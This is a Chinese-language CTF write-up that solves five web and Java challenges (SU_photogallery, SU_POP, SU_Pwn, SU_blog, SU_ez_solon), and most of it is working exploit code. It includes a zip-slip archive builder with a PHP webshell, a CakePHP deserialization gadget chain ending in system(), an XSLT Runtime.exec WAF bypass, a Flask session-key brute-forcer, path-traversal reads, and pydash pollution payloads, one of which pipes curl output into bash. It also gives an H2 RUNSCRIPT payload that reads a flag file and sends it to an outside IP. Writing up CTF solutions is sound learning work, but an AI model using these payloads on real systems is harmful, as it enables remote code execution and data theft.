又是被带飞的一集
SU_photogallery
有点抽象()
这题的意思是告诉你是一个测试开发中的服务器,也就是说大概率是php -S
启动的服务器。而php -S
启动的服务器有个漏洞 ,通过这个漏洞我们就能够拿到源码:
1 2 3 4 5 6 7 GET /unzip.php HTTP/1.1 Host: 1.95.157.235:10001 GET /1.txt HTTP/1.1
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 <?php error_reporting (0 );function get_extension ($filename ) { return pathinfo ($filename , PATHINFO_EXTENSION); } function check_extension ($filename ,$path ) { $filePath = $path . DIRECTORY_SEPARATOR . $filename ; if (is_file ($filePath )) { $extension = strtolower (get_extension ($filename )); if (!in_array ($extension , ['jpg' , 'jpeg' , 'png' , 'gif' ])) { if (!unlink ($filePath )) { return false ; } else { return false ; } } else { return true ; } } else { return false ; } } function file_rename ($path ,$file ) { $randomName = md5 (uniqid ().rand (0 , 99999 )) . '.' . get_extension ($file ); $oldPath = $path . DIRECTORY_SEPARATOR . $file ; $newPath = $path . DIRECTORY_SEPARATOR . $randomName ; if (!rename ($oldPath , $newPath )) { unlink ($path . DIRECTORY_SEPARATOR . $file ); return false ; } else { return true ; } } function move_file ($path ,$basePath ) { foreach (glob ($path . DIRECTORY_SEPARATOR . '*' ) as $file ) { $destination = $basePath . DIRECTORY_SEPARATOR . basename ($file ); if (!rename ($file , $destination )){ return false ; } } return true ; } function check_base ($fileContent ) { $keywords = ['eval' , 'base64' , 'shell_exec' , 'system' , 'passthru' , 'assert' , 'flag' , 'exec' , 'phar' , 'xml' , 'DOCTYPE' , 'iconv' , 'zip' , 'file' , 'chr' , 'hex2bin' , 'dir' , 'function' , 'pcntl_exec' , 'array' , 'include' , 'require' , 'call_user_func' , 'getallheaders' , 'get_defined_vars' ,'info' ]; $base64_keywords = []; foreach ($keywords as $keyword ) { $base64_keywords [] = base64_encode ($keyword ); } foreach ($base64_keywords as $base64_keyword ) { if (strpos ($fileContent , $base64_keyword )!== false ) { return true ; } else { return false ; } } } function check_content ($zip ) { for ($i = 0 ; $i < $zip ->numFiles; $i ++) { $fileInfo = $zip ->statIndex ($i ); $fileName = $fileInfo ['name' ]; if (preg_match ('/\.\.(\/|\.|%2e%2e%2f)/i' , $fileName )) { return false ; } $fileContent = $zip ->getFromName ($fileName ); if (preg_match ('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i' , $fileContent ) || check_base ($fileContent )) { return false ; } else { continue ; } } return true ; } function unzip ($zipname , $basePath ) { $zip = new ZipArchive ; if (!file_exists ($zipname )) { return "zip_not_found" ; } if (!$zip ->open ($zipname )) { return "zip_open_failed" ; } if (!check_content ($zip )) { return "malicious_content_detected" ; } $randomDir = 'tmp_' .md5 (uniqid ().rand (0 , 99999 )); $path = $basePath . DIRECTORY_SEPARATOR . $randomDir ; if (!mkdir ($path , 0777 , true )) { $zip ->close (); return "mkdir_failed" ; } if (!$zip ->extractTo ($path )) { $zip ->close (); } for ($i = 0 ; $i < $zip ->numFiles; $i ++) { $fileInfo = $zip ->statIndex ($i ); $fileName = $fileInfo ['name' ]; if (!check_extension ($fileName , $path )) { continue ; } if (!file_rename ($path , $fileName )) { continue ; } } if (!move_file ($path , $basePath )) { $zip ->close (); return "move_failed" ; } rmdir ($path ); $zip ->close (); return true ; } $uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/' ;if (!is_dir ($uploadDir )) { mkdir ($uploadDir , 0777 , true ); } if (isset ($_FILES ['file' ]) && $_FILES ['file' ]['error' ] === UPLOAD_ERR_OK) { $uploadedFile = $_FILES ['file' ]; $zipname = $uploadedFile ['tmp_name' ]; $path = $uploadDir ; $result = unzip ($zipname , $path ); if ($result === true ) { header ("Location: index.html?status=success" ); exit (); } else { header ("Location: index.html?status=$result " ); exit (); } } else { header ("Location: index.html?status=file_error" ); exit (); }
这里主要有几个过程:
check_content($zip)
新建临时文件夹解压文件
检查后缀是否合法并移动到真正的上传文件夹(upload/suimages)里
check_content
里过滤了简单的文件穿越,同时对内容进行了简单的限制。这里最关键的就是怎么能够把我们的shell解压出去。
这里其实可以通过zip slip
进行绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $zip = new ZipArchive ();$filename = "test_exp.zip" ;if ($zip ->open ($filename , ZipArchive ::CREATE )!==TRUE ) { exit ("cannot open <$filename >\n" ); } $zip ->addFile ('1.php' , "..\./..\./a.jpg" );echo "numfiles: " . $zip ->numFiles . "\n" ;echo "status:" . $zip ->status . "\n" ;for ($i = 0 ; $i < $zip ->numFiles; $i ++) { $fileInfo = $zip ->statIndex ($i ); $fileName = $fileInfo ['name' ]; echo $fileName ; if (preg_match ('/\.\.(\/|\.|%2e%2e%2f)/i' , $fileName )) { echo "NO" ; } } $zip ->close (); ?>
因为这个正则表达式其实是匹配:
上面这三种形式,而$zip->addFile('1.php', "..\./..\./a.jpg");
可以bypass掉。
最后就可以通过之前development的源码泄露问题将jpg作为php解析,最后得到一个shell:
1 2 3 4 5 GET /upload/suimages/a.jpg?1 =cat%20 /seef1ag_getfl4g HTTP/1.1 Host: 1.95 .157.235 :10002 Connection: close GET /upload/suimages/a.php?1 =cat%20 /seef1ag_getfl4g HTTP/1.1
1.php:
1 <?php echo ("fuck" );$ch = explode ("." ,"sys.tem" );$c = $ch [0 ].$ch [1 ];$c ($_GET [1 ]);
官方预期解是这样的:
利用注意力惊人的注意到:
1 2 3 4 if (!$zip ->extractTo ($path )) { $zip ->close (); }
这里并没有return,我们就可以通过它来将我们的shell解压正常,而解压另一个文件的时候报错,导致解压失败关闭zip流,然后下面的for循环因为关闭了zip流就检测不了了,即可绕过。
在https://www.anquanke.com/post/id/246722中提及:
linux和window都不可以以/
为文件名
因此可以将文件名设置为/
从而使得解压失败,当然这一步需要跟该文章中的操作一致,先使用一个标识符,然后再使用winhex或者010将其改为/
。最后解压的时候shell会成功解压,而/
这个文件会解压失败,从而关闭了zip流,绕过成功。最后就能够直接rce了
其实应该就是zip->extractTo没有return导致的一个问题,注意力惊人.jpg
SU_POP
是一个cakephp,去github找源码发现这个版本是一个月前的较新版本,因此旧版本的利用方式肯定是行不通了,我们要挖掘一条新的利用链出来。
参考的思路如下:
click_me
上面的参考思路的终点是:vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php
对应附件的cakephp514/vendor/......
(…代表完全一致)
在BehaviorRegistry.php
里有一个call
方法,该call()
直接通过调用的某个类的某个共有方法并传参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 public function call (string $method , array $args = [] ): mixed { $method = strtolower ($method ); if ($this ->hasMethod ($method ) && $this ->has ($this ->_methodMap[$method ][0 ])) { [$behavior , $callMethod ] = $this ->_methodMap[$method ]; return $this ->_loaded[$behavior ]->{$callMethod }(...$args ); } throw new BadMethodCallException ( sprintf ('Cannot call `%s`, it does not belong to any attached behavior.' , $method ), ); }
而且触发该call
的方式也有,位于vendor\cakephp\cakephp\src\ORM\Table.php
:
这里会调用$this->_behaviors->call($method, $args);
直到call
及之前的方法都是我们可以直接使用的。而call之后调用什么方法呢?由于高版本下ServerShell
和BufferedStatement
都被修改掉了,因此我们得找一个新的方法去rce。这里就用比较蠢的方法了,首先全局搜索了eval()
,找到了一个比较干净的eval,位于vendor/phpunit/phpunit/src/Framework/MockObject/Generator/MockClass.php
,这里直接进行了eval($this->classCode);
,因此直接调用该generate方法即可。
https://blog.csdn.net/why811/article/details/133812903有之前版本的exp,需要前半部分套来用一下,注意BehaviorRegistry的源码有过变动,因此我们要修改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php namespace Cake \Core ;abstract class ObjectRegistry { public $_loaded = []; } namespace Cake \ORM ;class Table { public $_behaviors ; } use Cake \Core \ObjectRegistry ;class BehaviorRegistry extends ObjectRegistry { protected array $_methodMap = []; public function __construct ($obj ) { $this ->_methodMap = []; $this ->_loaded = []; } }
这部分都是可以用的,后面由于链子变了,因此也会发生变化。我们还没找到如何触发__call()
的方法
寻找魔术方法的入口基本上寻找:__destruct
和__wakeup
,然后通过传递到终点。
文章里的两处__destruct
均已被修复,因此我们要找新的__destruct
发现RejectedPromise
里的__destruct()
方法会将$this->reason
和字符串拼接起来,能够触发__toString
方法,接下来尝试通过__toString
去触发__call
(调用不存在的方法触发__call,找到$this->a->b()的形式
)
发现Response.php
的__toString
能够利用( return $this->stream->getContents();
)
因此找到了链子:
1 __destruct->__toString->__call->call->eval
同时我们也知道了call()
里面要填什么了,本质上其实是通过$a->callMethod(...$args)
调用的,$callMethod
由_methodMap[$method]
控制,$method
由__call
方法传入的不存在的函数名控制,这里就是rewind()
也就是说$behavior和$callMethod
就通过_methodMap['rewind']
数组控制,并且我们控制_loaded[$behavior]
为new MockClass
即可
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php namespace Cake \Core ;abstract class ObjectRegistry { public $_loaded = []; } namespace Cake \ORM ;class Table { public $_behaviors ; public function __construct ($obj ) { $this ->_behaviors = $obj ; } } use Cake \Core \ObjectRegistry ;class BehaviorRegistry extends ObjectRegistry { protected array $_methodMap = []; public function __construct ($obj ) { $this ->_methodMap = ["rewind" =>["MockClass" , "generate" ]]; $this ->_loaded = ["MockClass" =>$obj ]; } } namespace PHPUnit \Framework \MockObject \Generator ;class MockClass { private string $classCode ; private string $mockName ; public function __construct (string $classCode , string $mockName ) { $this ->classCode = $classCode ; $this ->mockName = $mockName ; } } namespace Cake \Http ;class Response { private $stream ; public function __construct ($obj ) { $this ->stream = $obj ; } } namespace React \Promise \Internal ;class RejectedPromise { private $handled = false ; private $reason ; public function __construct ($obj ) { $this ->reason = $obj ; } } $a = new \PHPUnit\Framework\MockObject\Generator\MockClass ('system("find . -exec /bin/cat /flag.txt \; -quit");' , "xxx" );$b = new \Cake \ORM\BehaviorRegistry ($a );$c = new \Cake \ORM\Table ($b );$d = new \Cake\Http\Response ($c );$e = new \React\Promise\Internal\RejectedPromise ($d );echo base64_encode (serialize ($e ));
SU_Pwn
给的是一个jar附件。一个很简单的文件上传,关键在调用,很明显让我们往xslt的方向去想:
找到了使用例,并且jar中的pom.xml也是2.7.2:
https://blog.noah.360.net/xalan-j-integer-truncation-reproduce-cve-2022-34169/
但是这里有waf,过滤了Runtime和ProcessBuilder
https://gist.github.com/thanatoskira/07dd6124f7d8197b48bc9e2ce900937f里有该环境下使用的`select.xslt`,利用它加以改造。
值得一提的是在xslt中能够支持html实体编码)
因此可以利用编码绕过waf:
1 <xsl:value-of select ="runtime:exec(runtime:getR untime(),'bash -c id')" xmlns:runtime ="java.lang.R untime" />
测试可以通过dnslog带出,用curl:
SU_blog
页面提示建站时间戳的md5值为session的key,并且通过题目描述可以得到建站时间,但是这个建站时间不一定准确,因此通过前后五分钟的差距来爆破key:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import timeimport hashlibfrom flask_unsign import session as flask_sessionSESSION_COOKIE = "eyJ1c2VybmFtZSI6InRlc3QifQ.Z4OTKw.S9f0Jnmqp5Q0QPp8p2U3j4aMpvY" def get_md5 (value ): """计算字符串的MD5值""" md5_hash = hashlib.md5() md5_hash.update(value.encode('utf-8' )) return md5_hash.hexdigest() def main (): payload="admin" current_time = int (time.time()) start_time = current_time - 60 * 60 for timestamp in range (start_time, current_time + 1 ): md5_value = get_md5(str (timestamp)) key=md5_value data = flask_session.verify(SESSION_COOKIE, secret=key) if data==False : continue else : print (f"[+] 找到密钥: {key} " ) data = flask_session.decode(SESSION_COOKIE) print (f"[+] 解码后的数据: {data} " ) ses=flask_session.sign({'username' :f'{payload} ' }, secret=key) print (f"[+] 签名后的数据: {ses} " ) break if __name__ == "__main__" : main()
爆破后得到key,将session修改为admin。发现读博客文章的时候的url为http://27.25.151.48:5000/article?file=
尝试通过目录穿越,测试得到:
1 http://27.25.151.48:5000/article?file=articles/..././..././..././..././..././..././..././..././..././etc/passwd
可以得到内容,因此通过:
1 http://27.25.151.48:5000/article?file=articles/..././..././..././..././..././..././..././..././..././proc/self/cwd/app/app.py
得到源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 from flask import *import time,os,json,hashlibfrom pydash import set_from waf import pwaf,cwafapp = Flask(__name__) app.config['SECRET_KEY' ] = hashlib.md5(str (int (time.time())).encode()).hexdigest() users = {"testuser" : "password" } BASE_DIR = '/var/www/html/myblog/app' articles = { 1 : "articles/article1.txt" , 2 : "articles/article2.txt" , 3 : "articles/article3.txt" } friend_links = [ {"name" : "bkf1sh" , "url" : "https://ctf.org.cn/" }, {"name" : "fushuling" , "url" : "https://fushuling.com/" }, {"name" : "yulate" , "url" : "https://www.yulate.com/" }, {"name" : "zimablue" , "url" : "https://www.zimablue.life/" }, {"name" : "baozongwi" , "url" : "https://baozongwi.xyz/" }, ] class User (): def __init__ (self ): pass user_data = User() @app.route('/' ) def index (): if 'username' in session: return render_template('blog.html' , articles=articles, friend_links=friend_links) return redirect(url_for('login' )) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] if username in users and users[username] == password: session['username' ] = username return redirect(url_for('index' )) else : return "Invalid credentials" , 403 return render_template('login.html' ) @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] users[username] = password return redirect(url_for('login' )) return render_template('register.html' ) @app.route('/change_password' , methods=['GET' , 'POST' ] ) def change_password (): if 'username' not in session: return redirect(url_for('login' )) if request.method == 'POST' : old_password = request.form['old_password' ] new_password = request.form['new_password' ] confirm_password = request.form['confirm_password' ] if users[session['username' ]] != old_password: flash("Old password is incorrect" , "error" ) elif new_password != confirm_password: flash("New passwords do not match" , "error" ) else : users[session['username' ]] = new_password flash("Password changed successfully" , "success" ) return redirect(url_for('index' )) return render_template('change_password.html' ) @app.route('/friendlinks' ) def friendlinks (): if 'username' not in session or session['username' ] != 'admin' : return redirect(url_for('login' )) return render_template('friendlinks.html' , links=friend_links) @app.route('/add_friendlink' , methods=['POST' ] ) def add_friendlink (): if 'username' not in session or session['username' ] != 'admin' : return redirect(url_for('login' )) name = request.form.get('name' ) url = request.form.get('url' ) if name and url: friend_links.append({"name" : name, "url" : url}) return redirect(url_for('friendlinks' )) @app.route('/delete_friendlink/<int:index>' ) def delete_friendlink (index ): if 'username' not in session or session['username' ] != 'admin' : return redirect(url_for('login' )) if 0 <= index < len (friend_links): del friend_links[index] return redirect(url_for('friendlinks' )) @app.route('/article' ) def article (): if 'username' not in session: return redirect(url_for('login' )) file_name = request.args.get('file' , '' ) if not file_name: return render_template('article.html' , file_name='' , content="未提供文件名。" ) blacklist = ["waf.py" ] if any (blacklisted_file in file_name for blacklisted_file in blacklist): return render_template('article.html' , file_name=file_name, content="大黑阔不许看" ) if not file_name.startswith('articles/' ): return render_template('article.html' , file_name=file_name, content="无效的文件路径。" ) if file_name not in articles.values(): if session.get('username' ) != 'admin' : return render_template('article.html' , file_name=file_name, content="无权访问该文件。" ) file_path = os.path.join(BASE_DIR, file_name) file_path = file_path.replace('../' , '' ) try : with open (file_path, 'r' , encoding='utf-8' ) as f: content = f.read() except FileNotFoundError: content = "文件未找到。" except Exception as e: app.logger.error(f"Error reading file {file_path} : {e} " ) content = "读取文件时发生错误。" return render_template('article.html' , file_name=file_name, content=content) @app.route('/Admin' , methods=['GET' , 'POST' ] ) def admin (): if request.args.get('pass' )!="SUers" : return "nonono" if request.method == 'POST' : try : body = request.json if not body: flash("No JSON data received" , "error" ) return jsonify({"message" : "No JSON data received" }), 400 key = body.get('key' ) value = body.get('value' ) if key is None or value is None : flash("Missing required keys: 'key' or 'value'" , "error" ) return jsonify({"message" : "Missing required keys: 'key' or 'value'" }), 400 if not pwaf(key): flash("Invalid key format" , "error" ) return jsonify({"message" : "Invalid key format" }), 400 if not cwaf(value): flash("Invalid value format" , "error" ) return jsonify({"message" : "Invalid value format" }), 400 set_(user_data, key, value) flash("User data updated successfully" , "success" ) return jsonify({"message" : "User data updated successfully" }), 200 except json.JSONDecodeError: flash("Invalid JSON data" , "error" ) return jsonify({"message" : "Invalid JSON data" }), 400 except Exception as e: flash(f"An error occurred: {str (e)} " , "error" ) return jsonify({"message" : f"An error occurred: {str (e)} " }), 500 return render_template('admin.html' , user_data=user_data) @app.route('/logout' ) def logout (): session.pop('username' , None ) flash("You have been logged out." , "info" ) return redirect(url_for('login' )) if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=5000 )
这里就可以很明显地注意到set_(user_data, key, value)
了,这里的set_
就是pydash
的set,考pydash
原型链污染,但是有waf,我们接着读waf.py ,由于源码里会将url的../
置空,因此可以通过wa../f.py
绕过从而读到waf.py :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 key_blacklist = [ '__file__' , 'app' , 'router' , 'name_index' , 'directory_handler' , 'directory_view' , 'os' , 'path' , 'pardir' , '_static_folder' , '__loader__' , '0' , '1' , '3' , '4' , '5' , '6' , '7' , '8' , '9' , ] value_blacklist = [ 'ls' , 'dir' , 'nl' , 'nc' , 'cat' , 'tail' , 'more' , 'flag' , 'cut' , 'awk' , 'strings' , 'od' , 'ping' , 'sort' , 'ch' , 'zip' , 'mod' , 'sl' , 'find' , 'sed' , 'cp' , 'mv' , 'ty' , 'grep' , 'fd' , 'df' , 'sudo' , 'more' , 'cc' , 'tac' , 'less' , 'head' , '{' , '}' , 'tar' , 'zip' , 'gcc' , 'uniq' , 'vi' , 'vim' , 'file' , 'xxd' , 'base64' , 'date' , 'env' , '?' , 'wget' , '"' , 'id' , 'whoami' , 'readflag' ] key_blacklist_bytes = [word.encode() for word in key_blacklist] value_blacklist_bytes = [word.encode() for word in value_blacklist] def check_blacklist (data, blacklist ): for item in blacklist: if item in data: return False return True def pwaf (key ): key_bytes = key.encode() if not check_blacklist(key_bytes, key_blacklist_bytes): print (f"Key contains blacklisted words." ) return False return True def cwaf (value ): if len (value) > 77 : print ("Value exceeds 77 characters." ) return False value_bytes = value.encode() if not check_blacklist(value_bytes, value_blacklist_bytes): print (f"Value contains blacklisted words." ) return False return True
由于题目并没有明确让我们污染哪里,因此直接通过:https://furina.org.cn/2023/12/18/prototype-pollution-in-pydash-ctf/#命令执行的payload打:
1 2 3 4 5 POST /set HTTP/1.1 Host: 127.0 .0 .1 :5000 Content-Type : application/json {"name" :"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0" ,"value" :"*;import os;os.system('id')" }
但是题目的waf过滤了013456789
和__loader__
,但是https://tttang.com/archive/1876/里提及`__spec__`和`__loader__`起到一样的作用:
因此将__loader__
换为__spec__
:
1 {"name":"__init__.__globals__.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;import os;os.system('id')"}
ps:大哥们用这个绕过去的:
1 {"key":"__init__.__globals__.Flask.jinja_loader.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;import os;os.system('curl -fs xxx:45/1.sh|bash')"}
题目没过滤curl,用curl打即可。同时在system里就可以使用常见的绕过过滤的方式了(单双引号)
SU_ez_solon
国赛book manager复刻版,思路变简单了。思路:https://xz.aliyun.com/t/16878?time__1311=Gui%3DGK0Iq%2BED%2FD0l7GkDuWT22EWxRxl%2BbD
注意这里直接调用了toString(),省去了我们readObject调用XString去触发toString的操作
这里还有一个问题就是因为题目换了一个hessian,换成了alipay的hessian,导致了我们原本使用的sun.print
这个也被waf掉了:
至于题目为什么直接给你调用toString,那就需要你好好地摸索一番了:
最后要绕SecurityManager
,记得好像直接能够将其置为null?
至于怎么bypasssun.print
呢,题目给了h2依赖,那这就很容易解决了:
1 toString->触发fastjson的getter->DriverManager.getConnection
UnpooledDataSource
内提供了getConnection
方法,由此可以打h2的rce:
1 2 3 4 5 6 7 8 @Override public Connection getConnection () throws SQLException { if (username == null ) { return DriverManager.getConnection(url); } else { return DriverManager.getConnection(url, username, password); } }
1.sql:
1 CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "y4tacker";}' ;CALL EXEC ('open -a Calculator.app' )
由于要读flag,改成URL(也是用大哥的sql):
1 2 3 CREATE ALIAS EXECf AS 'String shellexec(String cmd) throws java.io.IOException {String str = "";java.io.File file = new java.io.File("/flag.txt");try (java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.FileReader(file))) {String line;while ((line = reader.readLine()) != null) { str += line;}} catch (java.io.IOException e) {e.printStackTrace();} java.net.URL url = new java.net.URL("http://8.134.216.221:1234/test?str="+str);java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();connection.setRequestMethod("GET");connection.setRequestProperty("User-Agent", "Java HTTP Client");int responseCode = connection.getResponseCode(); return "";}' ;CALL EXECf ('114514' )
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://8.138.127.74:2333/poc.sql'" ; UnpooledDataSource unpooledDataSource = new UnpooledDataSource (connectionUrl, "1" , "2" , "org.h2.Driver" ); JSONObject jsonObject = new JSONObject (); jsonObject.put("xx" , unpooledDataSource); SerializerFactory serializerFactory = new SerializerFactory (); serializerFactory.setAllowNonSerializable(true ); FileOutputStream bout = new FileOutputStream ("ser.bin" ); Hessian2Output hout = new Hessian2Output (bout); hout.setSerializerFactory(serializerFactory); hout.writeObject(jsonObject); hout.flush(); hout.close();